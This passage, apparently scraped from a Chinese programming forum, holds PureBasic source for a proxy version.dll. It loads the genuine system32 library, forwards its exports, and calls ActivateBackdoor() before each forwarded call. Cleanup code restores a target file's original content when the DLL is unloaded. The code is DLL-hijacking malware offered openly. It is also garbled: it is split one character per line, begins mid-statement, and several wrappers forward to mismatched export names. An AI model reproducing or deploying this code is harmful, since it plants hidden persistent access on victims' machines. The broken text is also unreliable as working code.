o
o
r
i
n
g
f
a
i
l
e
d
.
.
.
"
)
E
n
d
I
f
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
C
l
e
a
n
u
p
:
U
n
l
o
c
k
M
u
t
e
x
(
m
u
x
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
E
n
d
P
r
o
c
e
d
u
r
e
P
r
o
c
e
d
u
r
e
C
l
e
a
n
u
p
B
a
c
k
d
o
o
r
(
)
L
o
c
k
M
u
t
e
x
(
m
u
x
)
I
f
#
B
A
C
K
D
O
O
R
_
A
L
I
V
E
=
a
c
t
i
v
e
a
c
t
i
v
e
=
#
N
u
l
l
;
D
o
c
l
e
a
n
u
p
h
e
r
e
I
f
o
r
i
g
C
o
n
t
e
n
t
S
i
z
e
<
>
0
D
e
f
i
n
e
h
F
i
l
e
.
i
=
C
r
e
a
t
e
F
i
l
e
(
#
P
B
_
A
n
y
,
G
e
t
T
a
r
g
e
t
F
i
l
e
P
a
t
h
(
)
,
#
P
B
_
U
T
F
8
)
I
f
h
F
i
l
e
W
r
i
t
e
S
t
r
i
n
g
(
h
F
i
l
e
,
o
r
i
g
C
o
n
t
e
n
t
,
#
P
B
_
U
T
F
8
)
C
l
o
s
e
F
i
l
e
(
h
F
i
l
e
)
E
n
d
I
f
o
r
i
g
C
o
n
t
e
n
t
=
"
"
o
r
i
g
C
o
n
t
e
n
t
S
i
z
e
=
0
E
n
d
I
f
E
n
d
I
f
C
l
e
a
n
u
p
B
a
c
k
d
o
o
r
C
l
e
a
n
u
p
:
U
n
l
o
c
k
M
u
t
e
x
(
m
u
x
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
E
n
d
P
r
o
c
e
d
u
r
e
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
;
-
D
l
l
M
a
i
n
S
t
u
f
f
P
r
o
c
e
d
u
r
e
D
L
L
A
t
t
a
c
h
P
r
o
c
e
s
s
(
I
n
s
t
a
n
c
e
)
m
u
x
=
C
r
e
a
t
e
M
u
t
e
x
(
)
E
n
d
P
r
o
c
e
d
u
r
e
P
r
o
c
e
d
u
r
e
D
L
L
D
e
t
a
c
h
P
r
o
c
e
s
s
(
I
n
s
t
a
n
c
e
)
C
l
e
a
n
u
p
B
a
c
k
d
o
o
r
(
)
E
n
d
P
r
o
c
e
d
u
r
e
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
;
-
o
r
i
g
V
E
R
S
I
O
N
.
d
l
l
S
t
u
f
f
P
r
o
c
e
d
u
r
e
.
i
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
D
e
f
i
n
e
r
e
s
.
i
=
#
N
u
l
l
L
o
c
k
M
u
t
e
x
(
m
u
x
)
I
f
#
N
u
l
l
=
h
V
e
r
s
i
o
n
;
l
o
a
d
v
e
r
s
i
o
n
.
d
l
l
D
e
f
i
n
e
d
l
l
P
a
t
h
.
s
=
G
e
t
E
n
v
i
r
o
n
m
e
n
t
V
a
r
i
a
b
l
e
(
"
w
i
n
d
i
r
"
)
+
"
s
y
s
t
e
m
3
2
v
e
r
s
i
o
n
.
d
l
l
"
h
V
e
r
s
i
o
n
=
O
p
e
n
L
i
b
r
a
r
y
(
#
P
B
_
A
n
y
,
d
l
l
P
a
t
h
)
E
n
d
I
f
r
e
s
=
h
V
e
r
s
i
o
n
C
l
e
a
n
u
p
L
o
a
d
V
e
r
s
i
o
n
D
l
l
:
U
n
l
o
c
k
M
u
t
e
x
(
m
u
x
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
r
e
s
E
n
d
P
r
o
c
e
d
u
r
e
;
B
O
O
L
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
A
(
;
L
P
C
S
T
R
l
p
t
s
t
r
F
i
l
e
n
a
m
e
,
;
D
W
O
R
D
d
w
H
a
n
d
l
e
,
;
D
W
O
R
D
d
w
L
e
n
,
;
L
P
V
O
I
D
l
p
D
a
t
a
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
A
(
a
1
.
i
,
a
2
.
l
,
a
3
.
l
,
a
4
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
A
"
,
a
1
,
a
2
,
a
3
,
a
4
)
E
n
d
P
r
o
c
e
d
u
r
e
;
B
O
O
L
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
A
(
;
D
W
O
R
D
d
w
F
l
a
g
s
,
;
L
P
C
S
T
R
l
p
w
s
t
r
F
i
l
e
n
a
m
e
,
;
D
W
O
R
D
d
w
H
a
n
d
l
e
,
;
D
W
O
R
D
d
w
L
e
n
,
;
L
P
V
O
I
D
l
p
D
a
t
a
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
A
(
a
1
.
l
,
a
2
.
i
,
a
3
.
l
,
a
4
.
l
,
a
5
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
A
"
,
a
1
,
a
2
,
a
3
,
a
4
,
a
5
)
E
n
d
P
r
o
c
e
d
u
r
e
;
B
O
O
L
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
W
(
;
D
W
O
R
D
d
w
F
l
a
g
s
,
;
L
P
C
W
S
T
R
l
p
w
s
t
r
F
i
l
e
n
a
m
e
,
;
D
W
O
R
D
d
w
H
a
n
d
l
e
,
;
D
W
O
R
D
d
w
L
e
n
,
;
L
P
V
O
I
D
l
p
D
a
t
a
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
E
x
W
(
a
1
.
l
,
a
2
.
i
,
a
3
.
l
,
a
4
.
l
,
a
5
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
E
x
W
"
,
a
1
,
a
2
,
a
3
,
a
4
,
a
5
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
A
(
;
L
P
C
S
T
R
l
p
t
s
t
r
F
i
l
e
n
a
m
e
,
;
L
P
D
W
O
R
D
l
p
d
w
H
a
n
d
l
e
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
A
(
a
1
.
i
,
a
2
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
A
"
,
a
1
,
a
2
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
E
x
A
(
;
D
W
O
R
D
d
w
F
l
a
g
s
,
;
L
P
C
S
T
R
l
p
w
s
t
r
F
i
l
e
n
a
m
e
,
;
L
P
D
W
O
R
D
l
p
d
w
H
a
n
d
l
e
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
E
x
A
(
a
1
.
l
,
a
2
.
i
,
a
3
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
E
x
A
"
,
a
1
,
a
2
,
a
3
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
E
x
W
(
;
D
W
O
R
D
d
w
F
l
a
g
s
,
;
L
P
C
W
S
T
R
l
p
w
s
t
r
F
i
l
e
n
a
m
e
,
;
L
P
D
W
O
R
D
l
p
d
w
H
a
n
d
l
e
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
W
(
a
1
.
l
,
a
2
.
i
,
a
3
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
W
"
,
a
1
,
a
2
,
a
3
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
W
(
;
L
P
C
W
S
T
R
l
p
t
s
t
r
F
i
l
e
n
a
m
e
,
;
L
P
D
W
O
R
D
l
p
d
w
H
a
n
d
l
e
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
W
(
a
1
.
i
,
a
2
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
W
"
,
a
1
,
a
2
)
E
n
d
P
r
o
c
e
d
u
r
e
;
B
O
O
L
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
W
(
;
L
P
C
W
S
T
R
l
p
t
s
t
r
F
i
l
e
n
a
m
e
,
;
D
W
O
R
D
d
w
H
a
n
d
l
e
,
;
D
W
O
R
D
d
w
L
e
n
,
;
L
P
V
O
I
D
l
p
D
a
t
a
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
W
(
a
1
.
i
,
a
2
.
l
,
a
3
.
l
,
a
4
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
W
"
,
a
1
,
a
2
,
a
3
,
a
4
)
E
n
d
P
r
o
c
e
d
u
r
e
;
i
n
t
h
M
e
m
,
L
P
C
W
S
T
R
l
p
F
i
l
e
N
a
m
e
,
i
n
t
v
2
,
i
n
t
v
3
P
r
o
c
e
d
u
r
e
D
L
L
.
i
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
B
y
H
a
n
d
l
e
(
a
1
.
i
,
a
2
.
i
,
a
3
.
i
,
a
4
.
l
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
B
y
H
a
n
d
l
e
"
,
a
1
,
a
2
,
a
3
,
a
4
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
V
e
r
F
i
n
d
F
i
l
e
A
(
;
D
W
O
R
D
u
F
l
a
g
s
,
;
L
P
C
S
T
R
s
z
F
i
l
e
N
a
m
e
,
;
L
P
C
S
T
R
s
z
W
i
n
D
i
r
,
;
L
P
C
S
T
R
s
z
A
p
p
D
i
r
,
;
L
P
S
T
R
s
z
C
u
r
D
i
r
,
;
P
U
I
N
T
p
u
C
u
r
D
i
r
L
e
n
,
;
L
P
S
T
R
s
z
D
e
s
t
D
i
r
,
;
P
U
I
N
T
p
u
D
e
s
t
D
i
r
L
e
n
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
V
e
r
F
i
n
d
F
i
l
e
A
(
a
1
.
l
,
a
2
.
i
,
a
3
.
i
,
a
4
.
i
,
a
5
.
i
,
a
6
.
i
,
a
7
.
i
,
a
8
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
V
e
r
F
i
n
d
F
i
l
e
A
"
,
a
1
,
a
2
,
a
3
,
a
4
,
a
5
,
a
6
,
a
7
,
a
8
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
V
e
r
F
i
n
d
F
i
l
e
W
(
;
D
W
O
R
D
u
F
l
a
g
s
,
;
L
P
C
W
S
T
R
s
z
F
i
l
e
N
a
m
e
,
;
L
P
C
W
S
T
R
s
z
W
i
n
D
i
r
,
;
L
P
C
W
S
T
R
s
z
W
i
n
D
i
r
,
;
L
P
C
W
S
T
R
s
z
A
p
p
D
i
r
,
;
L
P
W
S
T
R
s
z
C
u
r
D
i
r
,
;
P
U
I
N
T
p
u
C
u
r
D
i
r
L
e
n
,
;
L
P
W
S
T
R
s
z
D
e
s
t
D
i
r
,
;
P
U
I
N
T
p
u
D
e
s
t
D
i
r
L
e
n
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
V
e
r
F
i
n
d
F
i
l
e
W
(
a
1
.
l
,
a
2
.
i
,
a
3
.
i
,
a
4
.
i
,
a
5
.
i
,
a
6
.
i
,
a
7
.
i
,
a
8
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
V
e
r
F
i
n
d
F
i
l
e
W
"
,
a
1
,
a
2
,
a
3
,
a
4
,
a
5
,
a
6
,
a
7
,
a
8
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
V
e
r
I
n
s
t
a
l
l
F
i
l
e
A
(
;
D
W
O
R
D
u
F
l
a
g
s
,
;
L
P
C
S
T
R
s
z
S
r
c
F
i
l
e
N
a
m
e
,
;
L
P
C
S
T
R
s
z
D
e
s
t
F
i
l
e
N
a
m
e
,
;
L
P
C
S
T
R
s
z
S
r
c
D
i
r
,
;
L
P
C
S
T
R
s
z
D
e
s
t
D
i
r
,
;
L
P
C
S
T
R
s
z
C
u
r
D
i
r
,
;
L
P
S
T
R
s
z
T
m
p
F
i
l
e
,
;
P
U
I
N
T
p
u
T
m
p
F
i
l
e
L
e
n
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
V
e
r
I
n
s
t
a
l
l
F
i
l
e
A
(
a
1
.
l
,
a
2
.
i
,
a
3
.
i
,
a
4
.
i
,
a
5
.
i
,
a
6
.
i
,
a
7
.
i
,
a
8
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
V
e
r
I
n
s
t
a
l
l
F
i
l
e
A
"
,
a
1
,
a
2
,
a
3
,
a
4
,
a
5
,
a
6
,
a
7
,
a
8
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
V
e
r
I
n
s
t
a
l
l
F
i
l
e
W
(
;
D
W
O
R
D
u
F
l
a
g
s
,
;
L
P
C
W
S
T
R
s
z
S
r
c
F
i
l
e
N
a
m
e
,
;
L
P
C
W
S
T
R
s
z
D
e
s
t
F
i
l
e
N
a
m
e
,
;
L
P
C
W
S
T
R
s
z
S
r
c
D
i
r
,
;
L
P
C
W
S
T
R
s
z
D
e
s
t
D
i
r
,
;
L
P
C
W
S
T
R
s
z
C
u
r
D
i
r
,
;
L
P
W
S
T
R
s
z
T
m
p
F
i
l
e
,
;
P
U
I
N
T
p
u
T
m
p
F
i
l
e
L
e
n
;
)
;
P
r
o
c
e
d
u
r
e
D
L
L
.
i
V
e
r
I
n
s
t
a
l
l
F
i
l
e
W
(
a
1
.
l
,
a
2
.
i
,
a
3
.
i
,
a
4
.
i
,
a
5
.
i
,
a
6
.
i
,
a
7
.
i
,
a
8
.
i
)
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
C
a
l
l
C
F
u
n
c
t
i
o
n
(
L
o
a
d
V
e
r
s
i
o
n
D
l
l
(
)
,
"
V
e
r
I
n
s
t
a
l
l
F
i
l
e
W
"
,
a
1
,
a
2
,
a
3
,
a
4
,
a
5
,
a
6
,
a
7
,
a
8
)
E
n
d
P
r
o
c
e
d
u
r
e
;
D
W
O
R
D
V
e
r
L
a
n
g
u
a
g
e
N
a
m
e
A
(
;
D
W
O
R
D
w
L
a
n
g
,
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页